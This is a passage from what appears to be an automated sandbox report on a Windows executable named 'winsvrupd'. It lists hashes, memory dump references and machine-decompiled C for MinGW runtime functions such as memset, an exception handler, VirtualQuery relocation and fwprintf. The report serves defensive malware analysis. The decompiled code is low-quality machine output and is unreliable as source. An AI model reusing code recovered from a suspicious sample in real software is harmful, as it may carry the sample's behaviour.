                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset$_wgetenvwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 753804109-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b1f84ca5c4ffc6d5a23927bb225a18dd6a851684bc42c8184a3107e941bd8c63
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3d986139a1d83bdde2f488894db1cf2edb8aabe85603d6b3bce34497d5deb1a8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b1f84ca5c4ffc6d5a23927bb225a18dd6a851684bc42c8184a3107e941bd8c63
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C1418062A0D78285E790FB25E44636A6BB4FF45B88F548035EE8D87795EFBED140C700
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE3160 Relevance: 1.3, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset$wcslen$wcscpy
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3662116142-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b2fed0ded8b2f140cc0053cafb4756f69767417afb6626f4ed50a3d12ffc3dca
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1392369205861862407ee9e120545fa77a8ff3b533caee2a52eca83416a7b69f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b2fed0ded8b2f140cc0053cafb4756f69767417afb6626f4ed50a3d12ffc3dca
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E012622B1C68140E270FA13A8027FA5671AFC6BD4F644135FE9D83B86CE7EE246C704
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4170 Relevance: 1.3, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 25%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4170(void* __rcx, long long __rdx) {
				long long _v1128;
				intOrPtr _v1208;
				char _v1256;
				signed int _t9;

				r8d = 0x4d0;
				_t1 =  &_v1256; // 0x6b9
				memset(??, ??, ??);
				_v1208 = 0x100002;
				if (E00007FF67FF642CE47E2(_t1) < 0) goto 0x42ce41ca;
				_v1128 = __rdx;
				_t9 = E00007FF67FF642CE47F1(_t1); // executed
				return  !_t9 >> 0x1f;
			}







                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce417a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4180
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4190
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce419c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce41af
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce41b8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce41c0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce41d4

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2221118986-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a04cd04b154dabc75806b30f233245d583db0590be5c19b35f7e4b61942a27a5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: fdf01d1a695baafdde6229901d39c5317f051dff7ba4287f39825aef0c2286b9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a04cd04b154dabc75806b30f233245d583db0590be5c19b35f7e4b61942a27a5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F2F08256B1C19641F720FA26A81677A9221A7C4BD8F148130EE8C8BB8ADE7DD442C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5196 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 119COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 20%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE5196(void* __eax, void* __ecx, long long* __rax, signed int** __rcx) {
				signed int _t2;
				void* _t21;
				void* _t31;

				asm("lodsb");
				 *((intOrPtr*)(__rax)) =  *((intOrPtr*)(__rax)) + __eax;
				_t2 =  *( *__rcx);
				if ((_t2 & 0x20ffffff) == 0x20474343) goto 0x42ce5310;
				if (_t2 - 0xc0000091 > 0) goto 0x42ce5223;
				if (_t2 - 0xc000008d >= 0) goto 0x42ce5242;
				_t21 = _t2 - 0xc0000008;
				if (_t21 == 0) goto 0x42ce5270;
				if (_t21 > 0) goto 0x42ce52c0;
				if (_t2 == 0x80000002) goto 0x42ce5270;
				if (_t2 != 0xc0000005) goto 0x42ce52ce;
				0x42ceb100(_t31);
				if (__rax == 1) goto 0x42ce5360;
				if (__rax == 0) goto 0x42ce52ce;
				 *__rax();
				goto 0x42ce5275;
				if (0xffffffff == 0xc0000094) goto 0x42ce52e5;
				if (0xffffffff - 0xc0000094 > 0) goto 0x42ce5280;
				if (0xffffffff == 0xc0000092) goto 0x42ce5270;
				if (0xffffffff != 0xc0000093) goto 0x42ce52ce;
				0x42ceb100();
				if (__rax != 1) goto 0x42ce52f7;
				0x42ceb100();
				E00007FF67FF642CE4B50(0xffffffff);
				return 0xffffffff;
			}






                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5198
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce519a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51bb
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51c6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51cd
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51cf
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51d4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51da
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51e5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51f0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce51fd
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5206
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce520f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce521a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5221
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5228
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce522e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5235
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce523c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5249
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5252
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5262
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5267
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce527a

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: signal
                                                                                                                                                                                                                                                                                                                                                      • String ID: CCG
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1946981877-1584390748
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d741d6513fdbdd9c58a38358132472cfee7a1614a06939f0c2a431ff52a5118
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 6650f9fca77407af8e71bfd0b6672dd70c5fa7f06e6e77afda5c294ae4949368
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d741d6513fdbdd9c58a38358132472cfee7a1614a06939f0c2a431ff52a5118
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EB410C10F1C60646FAF9F1B9445737851A26F8A3FCF398635D92DC63E6CDEEA8844112
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE4B60 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 184COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 53%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE4B60(signed char __ebx, void* __esi, void* __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32) {
				signed int* _v32;
				void* _v124;
				void* _v160;
				void* _t22;
				void* _t23;
				signed int _t29;
				signed char _t30;
				intOrPtr _t47;
				signed int* _t52;
				intOrPtr* _t54;
				long long _t55;
				intOrPtr* _t57;
				intOrPtr _t58;
				void* _t59;
				signed int* _t65;
				signed int* _t66;
				intOrPtr _t70;
				long _t73;
				signed int* _t74;
				void* _t76;
				struct _MEMORY_BASIC_INFORMATION* _t77;
				signed long long _t80;
				signed char* _t83;
				intOrPtr _t91;

				_t30 = __ebx;
				_t52 =  &_a16;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_v32 = _t52;
				_t23 = E00007FF67FF642CEAC60(_t22, 2, _t52, __rcx);
				r8d = 0x1b;
				0x42ceb0d0(_t59, _t76);
				_t77 = _v32;
				E00007FF67FF642CEAC60(_t23, 2, _t52, "Mingw-w64 runtime failure:\n");
				_t65 = _t52;
				0x42ceb120();
				0x42ceb098();
				_t74 = _t65;
				_t83 = __rcx;
				if (__esi <= 0) goto 0x42ce4d60;
				_t54 =  *0x42edc0a8 + 0x18;
				_t70 =  *_t54;
				if (_t74 - _t70 < 0) goto 0x42ce4c1c;
				_t91 =  *((intOrPtr*)(_t54 + 8));
				r8d =  *((intOrPtr*)(_t91 + 8));
				if (_t74 - _t70 + _t91 < 0) goto 0x42ce4ca5;
				_t55 = _t54 + 0x28;
				if (1 != __esi) goto 0x42ce4c00;
				_t66 = _t74;
				E00007FF67FF642CE5A70(_t66);
				if (_t55 == 0) goto 0x42ce4db2;
				_t80 =  *0x42edc0a4 +  *0x42edc0a4 * 4 << 3;
				_t57 =  *0x42edc0a8 + _t80;
				 *((long long*)(_t57 + 0x20)) = _t55;
				 *_t57 = 0;
				E00007FF67FF642CE5BB0(_t70 + _t91);
				r8d = 0x30;
				_t58 =  *0x42edc0a8;
				 *((long long*)(_t58 + _t80 + 0x18)) = _t66 + _t57;
				VirtualQuery(__rcx, _t77, _t73);
				_t47 = _t58;
				if (_t47 == 0) goto 0x42ce4d95;
				if (_t47 == 0) goto 0x42ce4c9e;
				if (_t47 != 0) goto 0x42ce4d10;
				 *0x42edc0a4 =  *0x42edc0a4 + 1;
				if (_t30 - 8 >= 0) goto 0x42ce4cd1;
				if ((_t30 & 0x00000004) != 0) goto 0x42ce4d70;
				if (_t30 == 0) goto 0x42ce4cc6;
				_t29 =  *_t83 & 0x000000ff;
				 *_t74 = _t29;
				if ((_t30 & 0x00000002) != 0) goto 0x42ce4d84;
				return _t29;
			}



























                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b60
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b66
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b73
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b78
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b7d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b82
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b87
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4b8c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4ba1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4ba6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bb0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bb8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bbe
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bc3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4be3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4be6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bec
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4bfb
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c00
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c06
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c08
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c0c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c16
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c1f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c25
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c27
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c2a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c35
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c46
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c4a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c4d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c51
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c57
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c66
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c6f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c76
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c7b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c81
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c84
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c94
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c9c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4c9e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4ca8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cad
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cb5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cb7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cbe
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cc0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce4cd0

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: QueryVirtual
                                                                                                                                                                                                                                                                                                                                                      • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1804819252-1534286854
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2dd9949e5649fcb44d8a5ea70c8a2c5356418f25097bfb29c8b3ca6efe244e54
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8b189c05459d9989ced89548ba870a72b9e7622c3c652016e7b786e6eac457ea
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2dd9949e5649fcb44d8a5ea70c8a2c5356418f25097bfb29c8b3ca6efe244e54
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7261B072B1DA5286E760FB15E8412B977B0BB84B98F648239DF4D83394DEBEE545C300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE6220 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 85%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE6220(void* __edx, void* __rax, void* __rcx, void* __r8) {
				signed int _v72;
				char _v80;
				intOrPtr _t27;
				intOrPtr _t38;
				void* _t46;
				void* _t50;
				void* _t51;
				char* _t60;

				_t50 = __rax;
				_t38 =  *((intOrPtr*)(__r8 + 0x10));
				_t51 = __r8;
				if (_t38 - __edx >= 0) goto 0x42ce6345;
				if (_t38 < 0) goto 0x42ce6345;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0x42ce6350;
				if (_t38 - r8d < 0) goto 0x42ce62e0;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t38 > 0) goto 0x42ce629b;
				goto 0x42ce632d;
				_t60 = __rcx + __rax;
				E00007FF67FF642CE61C0(_v72 & 0xffff, __r8);
				if (_t38 == 0) goto 0x42ce632d;
				_v80 = 0;
				strlen(??);
				E00007FF67FF642CEAE40( &_v72, _t60, _t50,  &_v80);
				_t46 = _t50;
				if (_t46 == 0) goto 0x42ce632d;
				if (_t46 >= 0) goto 0x42ce6280;
				_v72 =  *_t60;
				goto 0x42ce6285;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t38 - 1;
				 *((intOrPtr*)(_t51 + 0xc)) = r8d;
				if (0 != 0) goto 0x42ce626b;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t51 + 0xc)) = r8d;
				E00007FF67FF642CE61C0(0x20, _t51);
				 *((intOrPtr*)(_t51 + 0xc)) = _t50 - 1;
				if ( *((intOrPtr*)(_t51 + 0xc)) != 0) goto 0x42ce6300;
				goto 0x42ce626b;
				E00007FF67FF642CE61C0(0x20, _t51);
				_t27 =  *((intOrPtr*)(_t51 + 0xc));
				 *((intOrPtr*)(_t51 + 0xc)) = _t50 - 1;
				if (_t27 > 0) goto 0x42ce6320;
				return _t27;
			}











                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6220
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce622a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6233
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6236
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce623e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6247
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6259
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6262
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6264
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6277
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6279
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce628b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce628e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6295
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce629e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62a9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62ba
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62bf
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62c2
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62c4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62cf
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62d4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62d6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62e0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62e6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62ea
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62f0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce62f4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6308
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6315
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6318
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce631a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6328
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce632d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6335
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6338
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce6344

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fwprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %*.*S$%-*.*S$%.*S
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 968622242-2115465065
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 05d9ed4c2a822d4308c25cb0911229a11c904e1211cc12967efc77b11813ddad
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a26f5c8fca32f353d4d443ebb24e75ded2ba96fd95a446365ffe106a0a41e18b
